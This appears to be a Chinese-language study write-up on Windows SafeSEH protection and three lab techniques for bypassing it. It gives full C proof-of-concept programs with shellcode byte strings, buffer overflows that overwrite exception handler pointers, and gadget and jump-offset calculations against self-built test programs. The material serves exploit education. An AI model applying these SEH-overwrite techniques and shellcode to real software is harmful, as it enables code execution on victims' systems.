亡羊补牢:SafeSEH


SafeSEH对异常处理的保护原理

Windows xp sp2及后续版本之后,微软引入了S.E.H检验机制SafeSEH,SafeSEH实际上就是在程序调用异常处理函数前,对要调用的异常处理函数进行一系列有效性的校验,发现异常处理函数不可靠时终止异常处理函数的调用。

SafeSEH的实现需要操作系统和编译器双重支持,二者缺一都会降低SafeSEH的保护能力。Visual Studio 2003及后续版本都默认开启了SafeSEH选项

开启了SafeSEH的情况下,编译器在编译程序时会将程序中所有的异常处理函数地址提取出来,编入一张安全S.E.H表,并将这张表放到程序的映像里面。当程序调用异常处理函数时,会将函数地址与安全S.E.H表进行匹配,检查调用的异常处理函数是否位于安全的S.E.H表中

在VS的命令提示行通过执行dumpbin /loadconfig 文件名就可以看到程序安全S.E.H表的情况:

Alt

SafeSEH的保护措施:

  1. 检查异常处理链是否位于当前程序栈中,如果不是,程序将终止异常处理函数的调用
  2. 检查异常处理函数指针是否指向当前程序栈中,如果指向当前栈中,程序将终止异常处理函数的调用
  3. 前面的检查都通过后,程序调用一个全新的函数RtlIsVaildHandler(),来对异常处理函数的有效性进行验证

安全校验存在一个严重的缺陷,如果S.E.H中的异常处理函数指向堆区,即使安全校验发现了S.E.H已经不可信,仍然会调用已被修改过的异常处理函数,因此只要将shellcode布置到堆区就可以直接跳转执行

对于RtlIsVaildHandler(),它作为一个全新的安全校验函数,分为两个主要分支:

  • 判断异常函数地址属于加载模块的内存空间,依次进行如下校验:
    1. 判断是否设置了IMAGE_DLLCHARACTERISTICS_NO_SEH标识。设置时,这个程序内的异常会被忽略,即设置这个标识时,函数之间返回校验失败
    2. 检测程序是否包含安全S.E.H表,如果包含,则将当前的异常处理函数地址与该表进行匹配,匹配成功则返回校验成功
    3. 判断程序是否设置ILonly标识,如果设置,则说明该程序只包含.NET编译人中间语言,函数之间返回校验失败
    4. 判断异常处理函数地址是否位于不可执行页(non-executable page),位于不可执行页时,校验函数会检测是否开启DEP,未开启则返回校验成功,否则抛出访问违例的异常
  • 判断异常函数地址属于加载模块内存空间外,校验函数直接进行DEP相关检测:
    1. 判断异常函数地址是否位于不可执行页(non-executable page),位于不可执行页时,校验函数会检测是否开启DEP,未开启则返回校验成功,否则抛出访问违例的异常
    2. 判断系统是否允许跳转到加载模块的内存空间外执行,如果允许则返回校验成功

RtlIsVaildHandler()校验流程图如下:

Alt

从流程来看,有三种情况会允许异常处理函数执行:

  1. 异常处理函数位于加载模块内存范围之外,DEP关闭
  2. 异常处理函数位于加载模块内存返回之内,相应模块未启用SafeSEH(安全S.E.H表为空),同时相应模块不是纯IL
  3. 异常处理函数位于加载模块内存范围之内,相应模块启用SafeSEH(安全S.E.H表不为空),同时相应异常处理函数地址包含着安全S.E.H表中

对于情况一,只考虑SafeSEH不考虑DEP的情况下只需要在加载模块内存范围之外找到一个跳板指令就可以转入shellcode执行;而第二种情况中,可以利用未开启SafeSEH模块中的指令作为跳板,转入shellcode执行;第三种情况有两种思路,一是清空安全S.E.H表,造成该模块未启用SafeSEH的假象,二是将指令注册到安全S.E.H表中,但是由于安全S.E.H表的信息在内存中是加密存放的,所有第三种情况先不考虑。

攻击返回地址绕过SafeSEH

对于程序启用SafeSEH但未启用GS,或者启用了GS但是刚好被攻击的函数没有GS保护时,可以直接攻击函数返回地址

利用虚函数绕过SafeSEH

通过虚函数表来劫持程序流程,这个过程不涉及异常处理,SafeSEH也就不起作用了

从堆中绕过SafeSEH

方法很简单,即申请一块内存,然后把shellcode复制到内存中去,接着通过溢出控制栈中的S.E.H异常处理函数指针完成程序流程的劫持。考虑下面代码:

#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xA8\x3d\x38\x00"//address of shellcode in heap
;

void test(char * input)
{
    char str[200];
    strcpy(str,input);
    int zero=0;
    zero=1/zero;
}

void main()
{
    char * buf=(char *)malloc(500);
    //__asm int 3
    strcpy(buf,shellcode);
    test(shellcode);
}

代码思路很简单,这里不再给出详细调试示意,主要流程为:

  1. 申请一块堆区的内存,然后将shellcode写道堆区
  2. 通过调试得到申请的内存的首地址
  3. 在函数test中通过溢出控制栈中的异常处理函数指针指向堆区的shellcode地址
  4. 触发除零异常,调用异常处理函数

代码中直接用shellocde来覆写栈中的异常处理函数,所有在shellcode后用0x90填充到异常处理函数指,然后覆写上堆区shellcode的首址完成程序流程劫持

shellocde布局:

Alt

利用未启用SafeSEH模块绕过SafeSEH

如果模块未启用SafeSEH,且该模块不是仅包含中间语言(IL),那这个异常处理就可以被执行。所以如果我们能够在加载的模块中找到一个未启用SafeSEH的模块,然后就可以利用其中的指令作为跳板来绕过SafeSEH。

书中的示例是通过手动构建一个不启用SafeSEH的dll,然后在启用SafeSEH的程序中加载这个dll来实现通过未启用SafeSEH模块绕过SafeSEH。

dll文件源码:

    BOOL APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved)
    {
        return TRUE;
    }
    void jump()
    {
        __asm{
            pop eax
            pop eax
            retn
        }
    }

实验代码:

#include <string.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x12\x10\x12\x11"//address of pop pop retn in No_SafeSEH module
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"

;

DWORD MyException(void)
{
    printf("There is an exception");
    getchar();
    return 1;
}
void test(char * input)
{
    char str[200];
    strcpy(str,input);
    int zero=0;
    __try
    {
        zero=1/zero;
    }
    __except(MyException())
    {
    }
}
int _tmain(int argc, _TCHAR* argv[])
{
    HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module
    char str[200];
    __asm int 3
    test(shellcode);
    return 0;
}

实验思路:

  1. VC++ 6.0编译生成不启用SafeSEH的动态链接库SEH_NOSafeSEH_JUMP.DLL,然后再启用SafeSEH的应用程序(SEH_NOSafeSEH.EXE)中加载它
  2. SEH_NOSafeSEH.EXE中存在典型的溢出,通过溢出覆盖S.E.H的信息
  3. 把异常处理函数地址覆盖为SEH_NOSafeSEH_JUMP.DLL中的pop pop retn指令地址,然后触发异常,完成程序流程劫持

这里使用vc++6.0编译dll文件来生成一个为启用SafeSEH的模块,选择新建一个win32的动态链接库(非MFC),因为poc代码中使用strcpy来复制字符串,所以我们的目标地址中不能含有\x00,而vc++6.0编译的dll文件默认加载基址是0x1000000(因为要用到dll里面的pop指令,以此作为加载基址大概率会包含\x00,所以需要修改加载基址),所以这里需要在编译前修改默认加载基址。建立好工程之后,在工程->设置->连接中编辑工程选项

Alt

将编译好的exe和dll文件放到同一目录,通过int 3中段程序,然后在OD中使用插件ollyseh查看加载模块的SafeSEH情况。OllySEH对SafeSEH的描述有四种:

  1. SafeSEH OFF, 未启用SafeSEH,这种情况就可以拿来作为绕过SafeSEH的跳板
  2. SafeSEH ON,启用SafeSEH,右键可以查看S.E.H注册情况
  3. No SEH,不支持SafeSEH,即IMAGE_DLLCHARACTERISTICS_NO_SEH标志位被设置,模块内的异常会被忽略
  4. Error,读取错误

Alt

因为未启用SafeSEH的模块已经加载,现在可以去找pop pop retn的地址了(0x0x11121012):

Alt

继续调试,进入到test函数,计算被溢出字符串到栈中异常处理函数的偏移220

调试的时候发现,通过执行pop pop retn指令,刚好可以把ip控制到异常发生前S.E.H结构体的next S.E.H recorder指针处即异常处理函数指针前(低地址方向):

Alt

所以正常情况下,异常触发之后执行我们的跳板,就会跳回异常处理函数指针附近的位置,即eip指向0x0012fe90, 也就是说这时候我们只需要0x0012fe98的位置布置上shellcode,就可以正常执行shellcode了,不过这里书中给出了一个细节,即经过VS 2008 编译的程序,在进入含有__try{}的函数时会在Security Cookie+4 的位置压入−2(VC++ 6.0 下为−1),在程序进入__try{}区域时程序会根据该__try{}块在函数中的位置而修改成不同的值。

例如,函数中有两个__try{}块,在进入第一个__try{}块时这个值会被修改成0,进入第二个的时候被修改为1。如果在__try{}块中出现了异常,程序会根据这个值调用相应的__except()处理,处理结束后这个位置的值会重新修改为−2;如里没有发生异常,程序在离开__try{}块时这个值也会被修改回−2。

这里使用书中的截图:

Alt

显然,如果我们直接在后面接上shellcode的话就会被这一赋值给破坏掉,所以这里用垃圾数据来填充这一部分(0x90以及跳板地址即使会被识别成指令,但是在这里对正常执行shellcode没有影响)防止shellcode被破坏,所以shellcode的布局如下:

Alt

这时候重新编译然后执行程序就可以看到shellcode正常执行了。

当然,因为这里跳板指令执行结束之后会执行0x0012fe90处的数据对应的指令,所以我们可以将这部分数据改写为跳转指令的机器码(0xeb0e9090),执行到这里时直接跳转到shellcode执行shellcode,这样就不会因为原来填充的数据错误的被识别成指令而造成shellcode执行失败了

利用加载模块之外的地址绕过SafeSEH

程序加载到内存中后,在它所占的整个内存空间中,除了PE文件模块(EXE和DLL)外,还有其他映射文件,如类型为map的映射文件:

Alt

对应类型为map的映射文件,SafeSEH是无视他们的,当异常处理函数指针指向这些地址范围时,不会对其进行有效性验证,所以如果可以在这些文件中找到跳转指令的话就可以绕过SafeSEH,比如指令:

call/jmpdword ptr[esp+0x8]
call/jmpdword ptr[esp+0x14]
call/jmpdword ptr[esp+0x1c]
call/jmpdword ptr[esp+0x2c]
call/jmpdword ptr[esp+0x44]
call/jmpdword ptr[esp+0x50]
call/jmp dword ptr[ebp+0xc]
call/jmp dword ptr[ebp+0x24]
call/jmp dword ptr[ebp+0x30]
call/jmp dword ptr[ebp-0x4]
call/jmp dword ptr[ebp-0xc]
call/jmp dword ptr[ebp-0x18]

考虑下面代码:

#include <string.h>
#include <windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xE9\x2B\xFF\xFF\xFF\x90\x90\x90"// machine code of far jump and \x90
"\xEB\xF6\x90\x90"// machine code of short jump and \x90
"\x0B\x0B\x28\x00"// address of call [ebp+30] in outside memory
;

DWORD MyException(void)
{
    printf("There is an exception");
    getchar();
    return 1;
}
void test(char * input)
{
    char str[200];
    strcpy(str,input);
    int zero=0;
    __try
    {
        zero=1/zero;
    }
    __except(MyException())
    {
    }
}
int _tmain(int argc, _TCHAR* argv[])
{
    _asm int 3
    test(shellcode);
    return 0;
}

代码思路同样是通过溢出覆盖掉异常处理函数指针来完成程序流程的劫持,不过这一次不同的是覆盖的地址是加载模块之外的地址罢了。

首先通过书中提供的插件可以找到一个模块之外的跳板地址(这里是通过CALL/JMP [EBP+N]形式的指令劫持程序流程):

Alt

可以发现这里只找到一个可用的跳板,不过这一个就够了,继续调试到执行这个跳板指令处:

Alt Alt

因为地址0x00280b0b中包含0x00,所以strcpy在复制完这个地址后会被截断,所以这里不能将shellcode接在异常处理函数指针之后,书中的思路是通过硬编码跳转指令使其跳转到shellcode执行。对于机器码0xEB0E是向前跳转0x0E,不过这种短跳转一个字节的回跳不足以跳到shellcode,所以这里采用了两次跳转,即通过一个短跳(2字节)到一个长跳(5字节)然后再到shellcode,因为这里最多只能覆写四个字节的数据,多的字节会覆盖掉异常处理函数的指针,所以这里只能先通过短跳到长跳再到shellcdode。

跳转示意图如下:

Alt

对于短跳转的机器码,这里需要注意:JMP 指令在采用相对地址跳转的时候是以JMP 下一条指令的地址为基准的,所以在回跳的时候还要将短跳转指令的2个字节计算进去。

对于长跳,溢出字符串的起始位置到长跳指令的位置(包含长跳转指令5字节)是213字节(补码表示为0xffffff2B)

所以shellcode的布局如下:

Alt